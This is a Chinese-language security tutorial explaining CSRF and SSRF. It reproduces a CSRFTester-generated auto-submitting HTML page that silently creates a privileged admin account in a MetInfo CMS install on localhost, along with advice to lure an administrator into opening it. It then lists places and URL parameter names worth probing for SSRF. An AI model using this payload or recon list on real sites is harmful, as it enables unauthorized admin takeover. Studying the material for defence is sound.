在当今网络安全领域,跨站请求伪造(CSRF)和服务器端请求伪造(SSRF) 已成为两种常见且严重的漏洞类型。随着Web应用程序的复杂性不断增加,这些漏洞的危害也愈发显著。作为一名开发者或安全研究人员,理解并能够复现这些漏洞对于提升自身的安全防护能力至关重要。
本文将带领您深入探究CSRF和SSRF漏洞的原理,并通过实际案例进行漏洞复现。无论您是网络安全新手,还是经验丰富的专业人士,都能从本文中获取宝贵的知识和实用技能。让我们一起揭开CSRF与SSRF的神秘面纱,提升我们的安全意识和应对能力。
CSRF
-
概念
- CSRF全称:Cross-site request forgery,即,跨站请求伪造,也被称为“One Click Attack”或“Session Riding”,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。举个生活中的例子:就是某个人点了个奇怪的链接,自己什么也没输,但自己的QQ号或其他的号就被盗了。即该攻击可以在受害者不知情的情况下以受害者名义伪造请求,执行恶意操作,具有很大的危害性。
-
条件
- 目标用户已经登录了网站,能够执行网站的功能。
- 目标用户访问了攻击者构造的URL。
-
复现
-
下载安装csrftester,配置端口代理
-
利用csrftester捉取构造index.html数据包
-
-
数据包数据包内容如下
-
index.html <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>cong</title> </head> <body onload="javascript:fireForms()"> <script language="JavaScript"> var pauses = new Array( "1132","36","70","73","79","77","85","87","1152","1176","1091","41","74","84","77","80","79","90","88","1094","86" ); function pausecomp(millis) { var date = new Date(); var curDate = null; do { curDate = new Date(); } while(curDate-date < millis); } function fireForms() { var count = 21; var i=0; for(i=0; i<count; i++) { document.forms[i].submit(); pausecomp(pauses[i]); } } </script> <H2>OWASP CRSFTester Demonstration</H2> </form> <form method="POST" name="form8" action="http://127.0.0.1/metinfo/admin/admin/ajax.php?lang=cn&anyid=47&action=admin&id=xiaodi"> <input type="hidden" name="name" value="value"/> </form> <form method="POST" name="form9" action="http://127.0.0.1/metinfo/admin/admin/save.php?action=add&lang=cn&anyid=47"> <input type="hidden" name="useid" value="cong"/> <input type="hidden" name="pass1" value="cong"/> <input type="hidden" name="pass2" value="cong"/> <input type="hidden" name="name" value="cong"/> <input type="hidden" name="sex" value="0"/> <input type="hidden" name="tel" value=""/> <input type="hidden" name="mobile" value="13333333333333"/> <input type="hidden" name="email" value="471656814@qq.com"/> <input type="hidden" name="qq" value=""/> <input type="hidden" name="msn" value=""/> <input type="hidden" name="taobao" value=""/> <input type="hidden" name="admin_introduction" value=""/> <input type="hidden" name="admin_group" value="3"/> <input type="hidden" name="langok" value="metinfo"/> <input type="hidden" name="langok_cn" value="cn"/> <input type="hidden" name="langok_en" value="en"/> <input type="hidden" name="langok_tc" value="tc"/> <input type="hidden" name="admin_pop1801" value="1801"/> <input type="hidden" name="admin_op0" value="metinfo"/> <input type="hidden" name="admin_op1" value="add"/> <input type="hidden" name="admin_op2" value="editor"/> <input type="hidden" name="admin_op3" value="del"/> <input type="hidden" name="admin_pop" value="yes"/> <input type="hidden" name="admin_pops1301" value="s1301"/> <input type="hidden" name="admin_popc1" value="c1"/> <input type="hidden" name="admin_popc2" value="c2"/> <input type="hidden" name="admin_popc3" value="c3"/> <input type="hidden" name="admin_popc25" value="c25"/> <input type="hidden" name="admin_popc31" value="c31"/> <input type="hidden" name="admin_popc32" value="c32"/> <input type="hidden" name="admin_popc33" value="c33"/> <input type="hidden" name="admin_popc36" value="c36"/> <input type="hidden" name="admin_popc42" value="c42"/> <input type="hidden" name="admin_popc43" value="c43"/> <input type="hidden" name="admin_popc49" value="c49"/> <input type="hidden" name="admin_popc44" value="c44"/> <input type="hidden" name="admin_popc50" value="c50"/> <input type="hidden" name="admin_popc45" value="c45"/> <input type="hidden" name="admin_popc46" value="c46"/> <input type="hidden" name="admin_popc47" value="c47"/> <input type="hidden" name="admin_popc68" value="c68"/> <input type="hidden" name="admin_popc69" value="c69"/> <input type="hidden" name="admin_popc70" value="c70"/> <input type="hidden" name="admin_popc86" value="c86"/> <input type="hidden" name="admin_popc84" value="c84"/> <input type="hidden" name="admin_popc87" value="c87"/> <input type="hidden" name="admin_popc88" value="c88"/> <input type="hidden" name="admin_popc92" value="c92"/> <input type="hidden" name="admin_pop9999" value="9999"/> <input type="hidden" name="admin_pops1401" value="s1401"/> <input type="hidden" name="admin_pops1106" value="s1106"/> <input type="hidden" name="admin_pops1404" value="s1404"/> <input type="hidden" name="admin_pops1406" value="s1406"/> <input type="hidden" name="admin_pops1101" value="s1101"/> <input type="hidden" name="admin_pops1102" value="s1102"/> <input type="hidden" name="admin_pops1505" value="s1505"/> <input type="hidden" name="admin_pops1507" value="s1507"/> <input type="hidden" name="admin_pops1503" value="s1503"/> <input type="hidden" name="admin_pops1504" value="s1504"/> <input type="hidden" name="admin_pops1006" value="s1006"/> <input type="hidden" name="admin_pops1501" value="s1501"/> <input type="hidden" name="admin_pops1601" value="s1601"/> <input type="hidden" name="admin_pops1603" value="s1603"/> <input type="hidden" name="admin_pops1004" value="s1004"/> <input type="hidden" name="admin_pops1005" value="s1005"/> <input type="hidden" name="admin_pops1007" value="s1007"/> <input type="hidden" name="admin_pops1103" value="s1103"/> <input type="hidden" name="admin_pops1201" value="s1201"/> <input type="hidden" name="admin_pops1002" value="s1002"/> <input type="hidden" name="admin_pops1003" value="s1003"/> <input type="hidden" name="admin_pops1104" value="s1104"/> <input type="hidden" name="Submit" value="保存"/> </form> </body> </html>
-
-
-
将其放入服务器,诱导管理员点击
-
-
修复
- 验证referer头
- 增加token功能
SSRF
-
概念
- SSRF(Server-Side Request Forgery,服务器端请求伪造)漏洞是一种安全漏洞,攻击者通过伪造服务器端请求,利用服务器作为代理向内部或外部网络发送恶意请求。这样,攻击者可以访问原本无法直接访问的内部资源、敏感数据或进行其他恶意操作,导致信息泄露、服务中断等安全问题。
-
复现
-
—SSRF黑盒可能出现的地方:
- 社交分享功能:获取超链接的标题等内容进行显示
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:给网址翻译对应网页的内容
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
- 图片/文章收藏功能:主要是取URL地址中title以及文本的内容作为显示以求一个好的用户体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行SSRF测试
- 网站采集,网站抓取的地方:一些网站会针对你输入的URL进行一些信息采集工作
- 数据库内置功能:数据库的比如MongoDB的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理,属性信息处理,文件处理:比如FFmpeg, ImageMagick, docx, pdf, xml处理器等
- 未公开的API实现以及其他扩展调用URL的功能:可以利用Google语法加上这些关键字去寻找SSRF漏洞
一些URL中的关键字:share、 wap、 uri、 link、 src、 source、 target、 u、 3g、 display、 sourceURI、 imageURL、 domain…
通过本文的学习,我们不仅了解了CSRF与SSRF漏洞的基本原理,还掌握了如何在实际环境中复现这些漏洞。安全防护始于了解威胁,通过对漏洞的深入探究,我们能够更好地识别并修复潜在的安全隐患。
在这个信息化高速发展的时代,网络安全已成为不可忽视的重要领域。希望本文能为您在安全防护之路上提供帮助,激发您对网络安全的兴趣与热情。让我们共同努力,构建一个更加安全的网络环境。如果您有任何疑问或建议,欢迎在评论区与我们分享交流。谢谢您的阅读,期待您的反馈与互动!